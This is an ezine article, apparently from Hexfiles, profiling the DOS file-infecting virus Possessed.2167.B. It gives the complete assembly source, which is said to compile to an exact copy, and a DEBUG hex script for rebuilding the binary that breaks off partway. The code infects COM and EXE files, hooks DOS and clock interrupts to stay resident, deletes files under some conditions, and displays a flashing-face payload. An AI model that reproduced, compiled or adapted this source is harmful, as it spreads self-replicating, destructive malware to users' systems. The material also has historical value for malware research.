Copy Link
Add to Bookmark
Report

Hexfiles Issue 2 File 004

eZine's profile picture
Published in 
hexfiles
 · 9 Aug 2024

  
HEX-FILES No. 2 File 004
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

Virus: Possessed.2167.B
Alias: Possessed 1.02A, Possessed I
Targets: COM, EXE

Resident: Low Memory TSR
MemorySize: 2672 bytes
MemorySelfRec: [0:1EC] <> 0
IntHooked: 21/4B00, 8

VirusLength: 2167 bytes
InfectiveLength:
COM: 2167 + 26 byte host restorer
EXE: 2167 + 15 byte paragraph alignment
LocationVirusOnFile:
COM: Beginning of file; host restorer appended at end of file
EXE: End of file
FileSelfRec:
COM: File[0..65] = Virus[0..65]
EXE: File[18..19] = 70h 19h
ReadableText:
"POSSESSED! Bwa! ha! ha! ha! ha!$
Author: JonJon Gumba of AdU"
EncryptedText:
"JonJon Gumba", "COMMAND.COM", "Fuck Off"
DisplayedText:
1) If ReadableTextNameAuthor <> EncryptedTextNameAuthor

"Fuck Off"

2) If host program EXEC failed

"POSSESSED! Bwa! ha! ha! ha! ha!"

Payload: Flashing face
PayloadTrigger: 2 hours after going resident



ÄÄ POS2167B.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;-------------------------------------------------------------------
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
; *WARNING WARNING*
; *WARNING destructive codes intentional damage WARNING*
; *WARNING deletes files WARNING*
; *WARNING WARNING*
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;-------------------------------------------------------------------
; Virus: Possessed.2167.B
; Alias: Possessed 1.02A, Possessed I
; Author: JonJon Gumba
; Origin: Adamson University, Manila, Philippines
;-------------------------------------------------------------------
;
; This source code is written in a way so that when compiled you will
; get an exact copy of the virus.
;
; You will only be able to duplicate the original virus if you use
; *TASM 2.01* or *MASM 5.0* to compile this program listing. Other
; compilers or versions of a compiler might produce a virus different
; from that originally released.
;
; This can also be compiled in a86 4.02 but you will be creating a
; new variant.
;
; Compile to COM.
;
;-------------------------------------------------------------------
; Program listing created by Putoksa Kawayan. HEX-FILES No. 2
;-------------------------------------------------------------------
;
ExeHeader struc
isExeId dw ?
isMod dw ?
isBlocks dw ?
isRelocItemCt dw ?
isHeaderSize dw ?
isMinAlloc dw ?
isMaxAlloc dw ?
isSs dw ?
isSp dw ?
isCxSum dw ?
isIp dw ?
isCs dw ?
ExeHeader ends

Possessed segment para 'code'
assume cs:Possessed

org 0

MemoryMarkerLoc equ 01ech
SaveSsOnInt21 equ 01f6h
SaveSpOnInt21 equ 01f4h

PossessedEntry:
jmp ComEntry

PossessedId db 13,'POSSESSED! Bwa! ha! ha! ha! ha!$',8,32,10
db 13,'Author: '
Author db 'JonJon Gumba of AdU',10,26

isDos:
jmp DosHandler

DosVersion db ?
FirstGenerationFlag db 1

DosInterrupt label dword
DosIntOffset dw ?
DosIntSegment dw ?

ClockInterrupt label dword
ClockIntOffset dw ?
ClockIntSegment dw ?

ErrorIntOffset dw ?
ErrorIntSegment dw ?
VictimAsciizSegment dw ?
VictimAsciizOffset dw ?
Attribute dw ?
Handle dw ?
FileTime dw ?
FileDate dw ?
ComLength dw ExecuteVictimComFromEof-VictimCode
AllocatedMemory dw ?
Timer dw ?
Hour db ?
ViruSs dw ?
ViruSp dw ?
ExeSs dw ?
ExeSp dw ?
ExeCs dw ?
ExeIp dw ?

ExecuteExeVictim label dword
ExeVictimOffset dw ?
ExeVictimSegment dw ?

VirusJumper label dword
VirusJumperOffset dw ?
VirusJumperSegment dw ?

ExeLengthLo dw ?
ExeLengthHi dw ?
Environment dw ?
Psp dw ?

DosHandler:
pushf
cmp ax,4b00h
jne PassToDos
push ds
push es
push si
push di
push ax
push bx
push cx
push dx
jmp SetToInfect
RestoreRegisters:
pop dx
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
PassToDos:
popf
jmp DosInterrupt

SetToInfect:
mov VictimAsciizSegment,ds
mov VictimAsciizOffset,dx
mov si,dx
add si,2
mov bx,si
CheckIfPathSeparator:
cmp byte ptr [si],'\'
jne CheckIfEndOfFileName
mov bx,si
add bx,1
jmp CheckNextCharOfFileName
CheckIfEndOfFileName:
cmp byte ptr [si],0
je EndOfFileName
CheckNextCharOfFileName:
inc si
jmp CheckIfPathSeparator

RestoreErrorInterrupt:
mov ax,2524h
mov dx,ErrorIntOffset
mov ds,ErrorIntSegment
call UseDos
jmp RestoreRegisters

EndOfFileName:
mov si,bx
push cs
pop es
mov di,offset NameOfVictim
mov cx,13
cld
repe movsb

assume cs:Possessed, ds:Possessed

push ds
push dx
push es
pop ds
mov ax,3524h
call UseDos
mov ErrorIntSegment,es
mov ErrorIntOffset,bx
mov ax,2524h
mov dx,offset isError
call UseDos
pop dx
pop ds

assume cs:Possessed, ds:nothing

mov ax,4300h
call UseDos
Relay1:
jc RestoreErrorInterrupt
mov Attribute,cx
mov ax,4301h
mov cx,20h
call UseDos
jc Relay1
mov ax,3d02h
call UseDos
jc Relay1
mov Handle,ax
mov bx,ax
mov ax,5700h
call UseDos
mov FileDate,dx
mov FileTime,cx
mov bx,-2
mov ah,48h
call UseDos
jnc EnoughMemory
mov ah,48h
call UseDos
jc Relay2
EnoughMemory:
mov AllocatedMemory,ax
xor cx,cx
mov dx,cx
mov bx,Handle
mov ax,4202h
call UseDos
Relay2:
jc Relay3
mov ComLength,ax
call MovePointerBegin
Relay3:
jc Relay4
mov cx,ComLength
mov dx,0
mov ds,AllocatedMemory
mov ah,3fh
call UseDos
Relay4:
jc DoneWithFile
mov si,0
cmp word ptr [si],'ZM'
jne ComInfectCheck
jmp NotInfected
ComInfectCheck:
mov di,offset PossessedEntry
push cs
pop es
cld
mov cx,(isDos-PossessedId)
repe cmpsb
je VerifyInfection
jmp NotInfected
VerifyInfection:
mov ax,cs
mov ds,ax
mov es,ax
mov si,offset EncryptedAuthor
mov cx,12
mov al,25h
call Scrambler
mov di,offset Author
call Compare
jnc HideText
mov si,offset FuckOff
mov cx,12
mov al,2bh
call Scrambler
mov dx,si
mov ah,9
call UseDos
mov al,0d5h
call Scrambler
jmp DeleteFile
HideText:
neg al
call Scrambler

DoneWithFile:
mov es,AllocatedMemory
mov ah,49h
call UseDos
mov bx,Handle
mov dx,FileDate
mov cx,FileTime
mov ax,5701h
call UseDos
mov ah,3eh
call UseDos
mov ds,VictimAsciizSegment
mov dx,VictimAsciizOffset
mov cx,Attribute
mov ax,4301h
call UseDos
jmp RestoreRegisters

NotInfected:
push es
mov ds,VictimAsciizSegment
mov si,VictimAsciizOffset
mov dl,[si]
sub dl,'A'-1
pop ds
cmp DosVersion,3
jnb NewDosVersion
mov si,offset EncryptedCommandCom
mov cx,11
mov al,17h
call Scrambler
mov di,offset NameOfVictim
call Compare
pushf
neg al
call Scrambler
popf
jc NewDosVersion
Relay5:
jmp DoneWithFile
NewDosVersion:
mov ah,36h
call UseDos
xor dx,dx
mul bx
mul cx
cmp dx,0
jne EnoughDiskSpace
cmp ax,2300
jb DeleteFile
EnoughDiskSpace:
mov bx,Handle
call MovePointerBegin
Relay6:
jc Relay5
mov ds,AllocatedMemory
mov si,0
cmp word ptr [si],'ZM'
jne isComFile
jmp isExeFile

assume cs:Possessed, ds:Possessed

isComFile:
push cs
pop ds
mov cx,offset VictimCode
mov dx,offset PossessedEntry
mov ah,40h
call UseDos
jc Relay6
mov cx,ComLength
mov ds,AllocatedMemory

assume cs:Possessed, ds:nothing

mov dx,0
mov ah,40h
call UseDos
jc Relay7
mov cx,offset MoveVirusCode
mov dx,offset ExecuteVictimCom
sub cx,dx
mov ax,cs
mov ds,ax
mov ah,40h
call UseDos
jc DeleteFile
Relay7:
jmp VerifyInfection

DeleteFile:
mov ds,VictimAsciizSegment
mov dx,VictimAsciizOffset
mov ah,41h
call UseDos
jmp DoneWithFile

PixelRow equ Environment + 100h
PixelColumn equ Psp + 100h

isClock:
pushf
inc Timer
jne NotYetTime
dec Hour
je ShowTime
NotYetTime:
popf
jmp ClockInterrupt

assume cs:Possessed, ds:Possessed

ShowTime:
popf
mov ax,6
int 10h
push cs
pop ds
xor bx,bx
xor dx,dx
LoadFaceData:
mov si,offset FaceData
mov word ptr PixelRow,200
mov word ptr PixelColumn,0
call ShowPayload
mov word ptr PixelRow,201
mov word ptr PixelColumn,1
call ShowPayload
mov word ptr PixelRow,189
mov word ptr PixelColumn,-1
call ShowPayload
mov word ptr PixelRow,201
mov word ptr PixelColumn,-1
call ShowPayload
mov word ptr PixelRow,189
mov word ptr PixelColumn,1
call ShowPayload
jmp LoadFaceData
ShowPayload:
push si
mov al,1
mov cx,2
EraseFace:
push cx
push si
GetNextCoordinate:
mov bl,[si]
cmp bl,0
je EndFaceData
mov cx,bx
add cx,PixelRow
mov dl,[si+1]
add dx,PixelColumn
mov ah,0ch
int 10h
add si,2
jmp GetNextCoordinate
EndFaceData:
pop si
mov al,0
pop cx
loop EraseFace
pop si
ret

assume cs:Possessed, ds:nothing

isExeFile:
cmp word ptr [si].isCxSum,1970h
jne ExeNotInfected
jmp VerifyInfection
ExeNotInfected:
mov word ptr [si].isCxSum,1970h
mov ax,[si].isSs
add ax,16
mov ExeSs,ax
mov ax,[si].isSp
mov ExeSp,ax
mov ax,[si].isIp
mov ExeIp,ax
mov ax,[si].isCs
add ax,16
mov ExeCs,ax
mov ax,[si].isBlocks
cmp word ptr [si].isMod,0
je PageAligned
dec ax
PageAligned:
mov bx,200h
mul bx
add ax,[si].isMod
adc dx,0
add ax,15
adc dx,0
and ax,0fff0h
mov ExeLengthLo,ax
mov ExeLengthHi,dx
add ax,offset VictimCode
adc dx,0
jc Relay8
div bx
or dx,dx
jz AlignedToPage
inc ax
AlignedToPage:
mov [si].isBlocks,ax
mov [si].isMod,dx
mov ax,ExeLengthLo
mov dx,ExeLengthHi
mov bx,16
div bx
sub ax,[si].isHeaderSize
sub ax,16
mov [si].isCs,ax
mov word ptr [si].isIp,offset ExeEntry + 100h
mov [si].isSs,ax
mov word ptr [si].isSp,offset VictimCode + 100h
mov bx,Handle
call MovePointerBegin
mov cx,28
mov dx,0
mov ah,40h
call UseDos

assume cs:Possessed, ds:Possessed

push cs
pop ds
mov dx,ExeLengthLo
mov cx,ExeLengthHi
mov ax,4200h
call UseDos
mov dx,Offset PossessedEntry
mov cx,offset VictimCode
mov ah,40h
call UseDos
Relay8:
jmp DoneWithFile

assume cs:Possessed, ds:nothing

isError:
xor ax,ax
mov es,ax
mov ss,es:SaveSsOnInt21
mov sp,es:SaveSpOnInt21
pop ax
pop es
pop bp
stc
ret

UseDos:
push bp
push es
push ax
xor ax,ax
mov es,ax
mov es:SaveSpOnInt21,sp
mov es:SaveSsOnInt21,ss
pop ax
pop es
pushf
call DosInterrupt
pop bp
ret

MovePointerBegin:
xor cx,cx
mov dx,cx
mov ax,4200h
call UseDos
ret

MoveCursor:
mov ah,2
xor bx,bx
int 10h
ret

Scrambler:
push cx
push si
MaskIt:
sub [si],al
inc si
loop MaskIt
pop si
pop cx
ret

Compare:
push si
push cx
cld
repe cmpsb
je MatchFound
stc
MatchFound:
pop cx
pop si
ret

EncryptedCommandCom db 'C'+17h,'O'+17h,'M'+17h,'M'+17h
db 'A'+17h,'N'+17h,'D'+17h,'.'+17h
db 'C'+17h,'O'+17h,'M'+17h

FuckOff db 'F'+2bh,'u'+2bh,'c'+2bh,'k'+2bh
db ' '+2bh,'o'+2bh,'f'+2bh,'f'+2bh
db '!'+2bh,10+2bh,13+2bh,'$'+2bh

EncryptedAuthor db 'J'+25h,'o'+25h,'n'+25h,'J'+25h
db 'o'+25h,'n'+25h,' '+25h,'G'+25h
db 'u'+25h,'m'+25h,'b'+25h,'a'+25h

;--------------------------------------------------------
;------ Possessed payload data --------------------------
;--------------------------------------------------------
FaceData label byte
db 41h,4bh,42h,4bh,42h,4ch,43h,4ch,44h,4ch,45h,4ch,43h,4dh,46h
db 4dh,47h,4dh,44h,4eh,48h,4eh,49h,4eh,4ah,4eh,45h,4fh,4bh,4fh
db 4ch,4fh,0b6h,4ah,0b5h,4ah,0b5h,4bh,0b4h,4bh,0b3h,4bh,0b2h,4bh,0b4h
db 4ch,0b1h,4ch,0b0h,4ch,0b3h,4dh,0afh,4dh,0aeh,4dh,0adh,4dh,0b2h,4eh
db 0ach,4eh,0abh,4eh,4ch,54h,4ch,55h,4dh,55h,4eh,55h,4fh,56h,50h
db 56h,51h,56h,52h,56h,53h,56h,54h,57h,55h,57h,56h,57h,57h,57h
db 58h,57h,59h,58h,5ah,58h,5bh,58h,5ch,58h,5dh,58h,5ah,59h,5bh
db 59h,5ch,59h,5dh,59h,60h,59h,5fh,59h,60h,59h,61h,59h,62h,59h
db 5bh,5ah,5ch,5ah,63h,5ah,64h,5ah,65h,5ah,66h,5ah,67h,5ah,5ch
db 5bh,68h,5bh,69h,5bh,6ah,5bh,6bh,5bh,6ch,5bh,6dh,5ch,6eh,5ch
db 6fh,5ch,70h,5dh,0b1h,53h,0b0h,54h,0afh,54h,0aeh,54h,0adh,55h,0ach
db 55h,0abh,55h,0aah,55h,0a9h,55h,0a8h,55h,0a7h,56h,0a6h,56h,0a5h,56h
db 0a4h,56h,0a3h,56h,0a2h,57h,0a1h,57h,0a0h,57h,9fh,57h,9eh,57h,9dh
db 57h,9ch,58h,9bh,58h,9ah,58h,99h,58h,98h,58h,9ah,59h,99h,59h
db 98h,59h,97h,59h,96h,59h,95h,59h,94h,59h,93h,59h,92h,59h,99h
db 5ah,98h,5ah,91h,5ah,90h,5ah,8fh,5ah,8eh,5ah,8dh,5ah,98h,5bh
db 8ch,5bh,8bh,5bh,8ah,5bh,89h,5bh,88h,5bh,87h,5bh,86h,5ch,85h
db 5ch,84h,5ch,83h,5ch,76h,63h,75h,64h,75h,65h,74h,66h,74h,67h
db 73h,68h,73h,69h,72h,6ah,71h,6bh,71h,6ch,70h,6dh,70h,6eh,6fh
db 6fh,6eh,70h,6eh,71h,7bh,71h,6dh,72h,7ah,72h,79h,72h,6dh,73h
db 78h,73h,77h,73h,76h,73h,75h,73h,6ch,74h,71h,74h,72h,74h,73h
db 74h,74h,74h,6ch,75h,6dh,75h,6eh,75h,6fh,75h,70h,75h,6bh,76h
db 6ch,76h,6dh,81h,6eh,81h,6fh,81h,70h,80h,71h,80h,72h,80h,73h
db 80h,74h,7fh,75h,7fh,76h,7fh,77h,7fh,78h,7eh,79h,7eh,7ah,7eh
db 7bh,7eh,7ch,7dh,7dh,7dh,7eh,7dh,7fh,7dh,80h,7dh,81h,7ch,82h
db 7ch,83h,7ch,84h,7ch,85h,7bh,86h,7bh,87h,7bh,88h,7bh,89h,7ah
db 8ah,7ah,8bh,7ah,8ch,7ah,8dh,79h,8eh,79h,8fh,79h,90h,79h,91h
db 78h,92h,78h,93h,78h,94h,77h,95h,77h,96h,76h,97h,76h,98h,75h,0

ComEntry:
push es
mov ax,0
mov es,ax
cmp byte ptr es:MemoryMarkerLoc,0
je NotInMemory
jmp MemoryResident

ExeEntry:
push es
xor ax,ax
mov es,ax
cmp byte ptr es:MemoryMarkerLoc,0
jne ExecuteVictimExe
jmp MoveVirusCode

ExecuteVictimExe:
pop es
mov ax,es
add ax,ExeSs + 100h
mov ss,ax
mov sp,ExeSp + 100h
mov ax,es
add ax,ExeCs + 100h
mov ExeVictimSegment + 100h,ax
mov ax,ExeIp + 100h
mov ExeVictimOffset + 100h,ax
clc
jmp ExecuteExeVictim + 100h

SecondMove:
cld
repe movsb
xor ax,ax
mov es,ax
mov byte ptr es:MemoryMarkerLoc,1
jmp SetUpPossessed

NotInMemory:
mov byte ptr es:MemoryMarkerLoc,1
pop ax
add ax,16
push ax
mov ax,offset SetUpPossessed
push ax
retf

assume cs:Possessed, ds:Possessed

SetUpPossessed:
mov ax,sp
sub ax,100h
mov sp,ax
mov ax,cs
mov ds,ax
mov ss,ax
push ds
sub ax,16
mov es,ax
mov Psp,es
mov ax,es:[2ch]
mov Environment,ax
mov ax,word ptr ComEntry
sub ax,-(3521h-0b806h)
int 21h
mov DosIntOffset,bx
mov DosIntSegment,es
mov dx,offset isDos
sub ah,16
call UseDos
mov Timer,0
mov Hour,2
add ax,(3508h-2521h)
call UseDos
mov ClockIntOffset,bx
mov ClockIntSegment,es
mov dx,offset isClock
sub ah,16
call UseDos
mov ax,Psp
mov si,offset ExecParam
mov [si+4],ax
mov word ptr [si+2],80h
mov [si+8],ax
mov word ptr [si+6],5ch
mov [si+12],ax
mov word ptr [si+10],6ch
mov ax,Environment
mov [si],ax
pop es
mov ah,30h
int 21h
mov DosVersion,al
cmp al,3
jb OldDosVersion
mov ds,Environment
mov si,0
mov cx,200
LookForStartOfAsciiz:
cmp byte ptr [si],1
jne SearchEnvironment
cmp byte ptr [si+3],':'
jne SearchEnvironment
mov dx,si
add dx,2
jmp GotExecPath

assume cs:Possessed, ds:nothing

SearchEnvironment:
inc si
loop LookForStartOfAsciiz
OldDosVersion:
push cs
pop ds
mov si,offset NameOfVictim
mov di,offset VirusAsciiz
mov cx,13
cld
repe movsb
mov dx,offset VirusAsciiz
GotExecPath:
push es
mov es,Psp
mov bx,1000h
mov ah,4ah
int 21h
pop es
cli
mov ViruSs,ss
mov ViruSp,sp
sti
mov ax,4b00h
mov bx,offset ExecParam
cmp DosVersion,3
jb DoIntCall
call UseDos
jmp RestoreStack
DoIntCall:
int 21h
RestoreStack:
cli
mov ss,ViruSs
mov sp,ViruSp
sti
push cs
pop ds
jnc GetReturnCode
mov dx,offset PossessedId
mov ah,9
int 21h
GetReturnCode:
mov ah,4dh
int 21h
push ax
mov es,ds:Environment
mov ah,49h
call UseDos
mov FirstGenerationFlag,0
mov dx,offset VictimCode
mov cl,4
shr dx,cl
add dx,20h
pop ax
mov ah,31h
int 21h

MemoryResident:
pop es
push cs
pop ds
cmp FirstGenerationFlag + 100h,0
je NotFirstGeneration
mov ax,4c00h
int 21h

NameOfVictim db 13 dup (?)

assume cs:Possessed, ds:Possessed

NotFirstGeneration:
mov bx,offset VictimCode + 100h
add bx,ComLength + 100h
jmp bx

ExecuteVictimCom:
push ds
pop es
mov si,offset VictimCode + 100h
mov di,100h
mov cx,ComLength + 100h
shr cx,1
add cx,1
cld
repe movsw
mov bx,100h
clc
jmp bx

MoveVirusCode:
pop ax
push cs
pop ds
mov si,100h
xor di,di
add ax,16
mov es,ax
mov cx,offset MoveVirusCode
shr cx,1
cld
repe movsw
mov cx,offset VictimCode + 100h
sub cx,offset MoveVirusCode + 100h
mov VirusJumperSegment + 100h,es
mov VirusJumperOffset + 100h,offset SecondMove

assume cs:Possessed, ds:nothing

jmp VirusJumper + 100h

VirusStack dw 35 dup (?)
;----------------------------------------------- com host code starts here
VictimCode:
jmp short Terminated

VirusAsciiz db 13 dup (?)
ExecParam dw 7 dup (?)
Terminated:
mov ah,4ch
int 21h

ExecuteVictimComFromEof:
push ds
pop es
mov si,offset VictimCode + 100h
mov di,100h
mov cx,ComLength + 100h
shr cx,1
add cx,1
cld
repe movsw
mov bx,100h
clc
jmp bx

Possessed ends

end PossessedEntry


ÄÄ POS2167B.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


ÄÄ POS2167B.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

N POS2167B.COM
E 0100 E9 37 06 0D 50 4F 53 53 45 53 53 45 44 21 20 42
E 0110 77 61 21 20 68 61 21 20 68 61 21 20 68 61 21 20
E 0120 68 61 21 24 08 20 0A 0D 41 75 74 68 6F 72 3A 20
E 0130 4A 6F 6E 4A 6F 6E 20 47 75 6D 62 61 20 6F 66 20
E 0140 41 64 55 0A 1A EB 3E 90 06 00 4C 0A D5 09 06 04
E 0150 D5 09 55 01 08 04 08 04 35 05 20 00 05 00 97 21
E 0160 68 24 C9 01 7C 0B C9 00 02 E4 0A FE FE 00 00 00
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0180 00 D4 04 D4 0A 9C 3D 00 4B 75 13 1E 06 56 57 50
E 0190 53 51 52 EB 0F 90 5A 59 5B 58 5F 5E 07 1F 9D 2E
E 01A0 FF 2E 4A 00 2E 8C 1E 56 00 2E 89 16 58 00 8B F2
E 01B0 83 C6 02 8B DE 80 3C 5C 75 08 8B DE 83 C3 01 EB
E 01C0 06 90 80 3C 00 74 15 46 EB EB B8 24 25 2E 8B 16
E 01D0 52 00 2E 8E 1E 54 00 E8 56 03 EB BA 8B F3 0E 07
E 01E0 BF D6 07 B9 0D 00 FC F3 A4 1E 52 06 1F B8 24 35
E 01F0 E8 3D 03 8C 06 54 00 89 1E 52 00 B8 24 25 BA 1D
E 0200 04 E8 2C 03 5A 1F B8 00 43 E8 24 03 72 BC 2E 89
E 0210 0E 5A 00 B8 01 43 B9 20 00 E8 14 03 72 EE B8 02
E 0220 3D E8 0C 03 72 E6 2E A3 5C 00 8B D8 B8 00 57 E8
E 0230 FE 02 2E 89 16 60 00 2E 89 0E 5E 00 BB FE FF B4
E 0240 48 E8 EC 02 73 07 B4 48 E8 E5 02 72 13 2E A3 64
E 0250 00 33 C9 8B D1 2E 8B 1E 5C 00 B8 02 42 E8 D0 02
E 0260 72 07 2E A3 62 00 E8 E2 02 72 12 2E 8B 0E 62 00
E 0270 BA 00 00 2E 8E 1E 64 00 B4 3F E8 B3 02 72 54 BE
E 0280 00 00 81 3C 4D 5A 75 03 E9 84 00 BF 00 00 0E 07
E 0290 FC B9 42 00 F3 A6 74 03 EB 75 90 8C C8 8E D8 8E
E 02A0 C0 BE 89 04 B9 0C 00 B0 25 E8 B1 02 BF 30 00 E8
E 02B0 B5 02 73 1A BE 7D 04 B9 0C 00 B0 2B E8 9E 02 8B
E 02C0 D6 B4 09 E8 6A 02 B0 D5 E8 92 02 E9 DD 00 F6 D8
E 02D0 E8 8A 02 2E 8E 06 64 00 B4 49 E8 53 02 2E 8B 1E
E 02E0 5C 00 2E 8B 16 60 00 2E 8B 0E 5E 00 B8 01 57 E8
E 02F0 3E 02 B4 3E E8 39 02 2E 8E 1E 56 00 2E 8B 16 58
E 0300 00 2E 8B 0E 5A 00 B8 01 43 E8 24 02 E9 87 FE 06
E 0310 2E 8E 1E 56 00 2E 8B 36 58 00 8A 14 80 EA 40 1F
E 0320 2E 80 3E 48 00 03 73 1C BE 72 04 B9 0B 00 B0 17
E 0330 E8 2A 02 BF D6 07 E8 2E 02 9C F6 D8 E8 1E 02 9D
E 0340 72 02 EB 8F B4 36 E8 E7 01 33 D2 F7 E3 F7 E1 83
E 0350 FA 00 75 05 3D FC 08 72 52 2E 8B 1E 5C 00 E8 EA
E 0360 01 72 DF 2E 8E 1E 64 00 BE 00 00 81 3C 4D 5A 75
E 0370 03 E9 E7 00 0E 1F B9 77 08 BA 00 00 B4 40 E8 AF
E 0380 01 72 DE 8B 0E 62 00 8E 1E 64 00 BA 00 00 B4 40
E 0390 E8 9D 01 72 13 B9 06 08 BA EC 07 2B CA 8C C8 8E
E 03A0 D8 B4 40 E8 8A 01 72 03 E9 F0 FE 2E 8E 1E 56 00
E 03B0 2E 8B 16 58 00 B4 41 E8 76 01 E9 16 FF 9C 2E FF
E 03C0 06 66 00 75 07 2E FE 0E 68 00 74 06 9D 2E FF 2E
E 03D0 4E 00 9D B8 06 00 CD 10 0E 1F 33 DB 33 D2 BE 95
E 03E0 04 C7 06 81 01 C8 00 C7 06 83 01 00 00 E8 3E 00
E 03F0 C7 06 81 01 C9 00 C7 06 83 01 01 00 E8 2F 00 C7
E 0400 06 81 01 BD 00 C7 06 83 01 FF FF E8 20 00 C7 06
E 0410 81 01 C9 00 C7 06 83 01 FF FF E8 11 00 C7 06 81
E 0420 01 BD 00 C7 06 83 01 01 00 E8 02 00 EB B0 56 B0
E 0430 01 B9 02 00 51 56 8A 1C 80 FB 00 74 16 8B CB 03
E 0440 0E 81 01 8A 54 01 03 16 83 01 B4 0C CD 10 83 C6
E 0450 02 EB E3 5E B0 00 59 E2 DB 5E C3 81 7C 12 70 19
E 0460 75 03 E9 36 FE C7 44 12 70 19 8B 44 0E 05 10 00
E 0470 2E A3 6D 00 8B 44 10 2E A3 6F 00 8B 44 14 2E A3
E 0480 73 00 8B 44 16 05 10 00 2E A3 71 00 8B 44 04 83
E 0490 7C 02 00 74 01 48 BB 00 02 F7 E3 03 44 02 83 D2
E 04A0 00 05 0F 00 83 D2 00 25 F0 FF 2E A3 7D 00 2E 89
E 04B0 16 7F 00 05 77 08 83 D2 00 72 5F F7 F3 0B D2 74
E 04C0 01 40 89 44 04 89 54 02 2E A1 7D 00 2E 8B 16 7F
E 04D0 00 BB 10 00 F7 F3 2B 44 08 2D 10 00 89 44 16 C7
E 04E0 44 14 4B 07 89 44 0E C7 44 10 77 09 2E 8B 1E 5C
E 04F0 00 E8 57 00 B9 1C 00 BA 00 00 B4 40 E8 31 00 0E
E 0500 1F 8B 16 7D 00 8B 0E 7F 00 B8 00 42 E8 21 00 BA
E 0510 00 00 B9 77 08 B4 40 E8 16 00 E9 B6 FD 33 C0 8E
E 0520 C0 26 8E 16 F6 01 26 8B 26 F4 01 58 07 5D F9 C3
E 0530 55 06 50 33 C0 8E C0 26 89 26 F4 01 26 8C 16 F6
E 0540 01 58 07 9C 2E FF 1E 4A 00 5D C3 33 C9 8B D1 B8
E 0550 00 42 E8 DB FF C3 B4 02 33 DB CD 10 C3 51 56 28
E 0560 04 46 E2 FB 5E 59 C3 56 51 FC F3 A6 74 01 F9 59
E 0570 5E C3 5A 66 64 64 58 65 5B 45 5A 66 64 71 A0 8E
E 0580 96 4B 9A 91 91 4C 35 38 4F 6F 94 93 6F 94 93 45
E 0590 6C 9A 92 87 86 41 4B 42 4B 42 4C 43 4C 44 4C 45
E 05A0 4C 43 4D 46 4D 47 4D 44 4E 48 4E 49 4E 4A 4E 45
E 05B0 4F 4B 4F 4C 4F B6 4A B5 4A B5 4B B4 4B B3 4B B2
E 05C0 4B B4 4C B1 4C B0 4C B3 4D AF 4D AE 4D AD 4D B2
E 05D0 4E AC 4E AB 4E 4C 54 4C 55 4D 55 4E 55 4F 56 50
E 05E0 56 51 56 52 56 53 56 54 57 55 57 56 57 57 57 58
E 05F0 57 59 58 5A 58 5B 58 5C 58 5D 58 5A 59 5B 59 5C
E 0600 59 5D 59 60 59 5F 59 60 59 61 59 62 59 5B 5A 5C
E 0610 5A 63 5A 64 5A 65 5A 66 5A 67 5A 5C 5B 68 5B 69
E 0620 5B 6A 5B 6B 5B 6C 5B 6D 5C 6E 5C 6F 5C 70 5D B1
E 0630 53 B0 54 AF 54 AE 54 AD 55 AC 55 AB 55 AA 55 A9
E 0640 55 A8 55 A7 56 A6 56 A5 56 A4 56 A3 56 A2 57 A1
E 0650 57 A0 57 9F 57 9E 57 9D 57 9C 58 9B 58 9A 58 99
E 0660 58 98 58 9A 59 99 59 98 59 97 59 96 59 95 59 94
E 0670 59 93 59 92 59 99 5A 98 5A 91 5A 90 5A 8F 5A 8E
E 0680 5A 8D 5A 98 5B 8C 5B 8B 5B 8A 5B 89 5B 88 5B 87
E 0690 5B 86 5C 85 5C 84 5C 83 5C 76 63 75 64 75 65 74
E 06A0 66 74 67 73 68 73 69 72 6A 71 6B 71 6C 70 6D 70
E 06B0 6E 6F 6F 6E 70 6E 71 7B 71 6D 72 7A 72 79 72 6D
E 06C0 73 78 73 77 73 76 73 75 73 6C 74 71 74 72 74 73
E 06D0 74 74 74 6C 75 6D 75 6E 75 6F 75 70 75 6B 76 6C
E 06E0 76 6D 81 6E 81 6F 81 70 80 71 80 72 80 73 80 74
E 06F0 7F 75 7F 76 7F 77 7F 78 7E 79 7E 7A 7E 7B 7E 7C
E 0700 7D 7D 7D 7E 7D 7F 7D 80 7D 81 7C 82 7C 83 7C 84
E 0710 7C 85 7B 86 7B 87 7B 88 7B 89 7A 8A 7A 8B 7A 8C
E 0720 7A 8D 79 8E 79 8F 79 90 79 91 78 92 78 93 78 94
E 0730 77 95 77 96 76 97 76 98 75 00 06 B8 00 00 8E C0
E 0740 26 80 3E EC 01 00 74 4B E9 7B 01 06 33 C0 8E C0
E 0750 26 80 3E EC 01 00 75 03 E9 AB 01 07 8C C0 2E 03
E 0760 06 6D 01 8E D0 2E 8B 26 6F 01 8C C0 2E 03 06 71
E 0770 01 2E A3 77 01 2E A1 73 01 2E A3 75 01 F8 2E FF
E 0780 2E 75 01 FC F3 A4 33 C0 8E C0 26 C6 06 EC 01 01
E 0790 EB 11 90 26 C6 06 EC 01 01 58 05 10 00 50 B8 A3
E 07A0 06 50 CB 8B C4 2D 00 01 8B E0 8C C8 8E D8 8E D0
E 07B0 1E 2D 10 00 8E C0 8C 06 83 00 26 A1 2C 00 A3 81
E 07C0 00 A1 3A 06 2D E5 82 CD 21 89 1E 4A 00 8C 06 4C
E 07D0 00 BA 45 00 80 EC 10 E8 56 FD C7 06 66 00 00 00
E 07E0 C6 06 68 00 02 05 E7 0F E8 45 FD 89 1E 4E 00 8C
E 07F0 06 50 00 BA BD 02 80 EC 10 E8 34 FD A1 83 00 BE
E 0800 86 08 89 44 04 C7 44 02 80 00 89 44 08 C7 44 06
